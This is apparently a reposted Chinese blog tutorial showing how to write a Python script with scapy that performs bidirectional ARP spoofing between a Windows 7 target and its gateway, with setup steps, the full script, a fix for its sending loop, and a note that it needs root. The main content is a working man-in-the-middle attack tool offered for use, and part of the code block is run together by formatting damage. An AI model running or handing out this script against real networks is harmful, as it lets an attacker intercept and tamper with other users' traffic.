1.系统环境:Ubuntu 16.04

Python版本:2.7

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

2.攻击机器:Ubuntu(192.16.0.14)

   目标机器:Windows 7(192.168.0.9)

   网关:(192.168.0.1)

3.首先使用下面命令安装scapy模块

pip install scapy

  

4.关于ARP欺骗的原理以及ARP包的格式请自行百度,在此不作过多描述

from scapy.all import *
import argparse
import sys
def arp_attack(interface,tip,gip):
    local_mac=get_if_hwaddr(interface) #get_if_hwaddr是获取指定网卡的MAC地址
    tmac=getmacbyip(tip) #getmacbyip是获取指定ip的MAC地址
    gmac=getmacbyip(gip)
    tpacket=Ether(src=local_mac,dst=tmac)/ARP(hwsrc=local_mac,psrc=gip,hwdst=tmac,pdst=tip,op=2) #在ARP包前面加上以太网头部,src是源MAC,dst是目标MAC,ARP中的参数与ARP包格式有关,请自行百度
    gpacket=Ether(src=local_mac,dst=gmac)/ARP(hwsrc=local_mac,psrc=tip,hwdst=gmac,pdst=gip,op=2)
    while 1:
  sendp(tpacket,iface
=interface,inter=1) #sendp是在第二层发送数据包,inter参数代表每间隔inter指定的秒数发送一次数据包   print("sending: %s(MAC:%s) -> %s"%(gip,local_mac,tip))   sendp(gpacket,iface=interface,inter=1)   print("sending: %s(MAC:%s) -> %s"%(tip,local_mac,gip)) if __name__ == '__main__': parser=argparse.ArgumentParser() parser.add_argument('-i',help='select interface') parser.add_argument('-t',help='target ip') parser.add_argument('-g',help='gateway ip') args=parser.parse_args() if args.i and args.t and args.g: print("Use Ctrl+z to stop") arp_attack(args.i,args.t,args.g) else: print("Please enter the correct parameters")

 

 

关于下面这一块的代码一开始我是写成图中所示的(当时只截了图,没有复制代码,抱歉):

 

while 1:
      sendp(tpacket,iface=interface,inter=1) #sendp是在第二层发送数据包,inter参数代表每间隔inter指定的秒数发送一次数据包
      print("sending: %s(MAC:%s) -> %s"%(gip,local_mac,tip))
      sendp(gpacket,iface=interface,inter=1)
      print("sending: %s(MAC:%s) -> %s"%(tip,local_mac,gip))

 

编写Python脚本进行ARP欺骗 Python 第1张

loop参数代表循环发送数据包,但是脚本会一直停止在第一个数据包的发送处,不会发送第二个数据包,达不到双向欺骗的目的,所以作了修改。

说明:脚本要在root权限下运行,如果是普通用户权限,你会发现你的getmacbyip只能获取本地的MAC,而不能获取网关与目标主机的MAC,它会出现如下错误信息:

编写Python脚本进行ARP欺骗 Python 第2张
5.最后的结果如下图所示:

编写Python脚本进行ARP欺骗 Python 第3张

编写Python脚本进行ARP欺骗 Python 第4张

编写Python脚本进行ARP欺骗 Python 第5张

你可以看到目标主机中的网关的MAC地址已经是我的Ubuntu主机的MAC地址了。

6. 参考网址(转载自他人文章)

https://www.cnblogs.com/reddusty/p/4946118.html

scapy使用中文文档:https://github.com/Larryxi/Scapy_zh-cn/blob/master/README.md

 

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄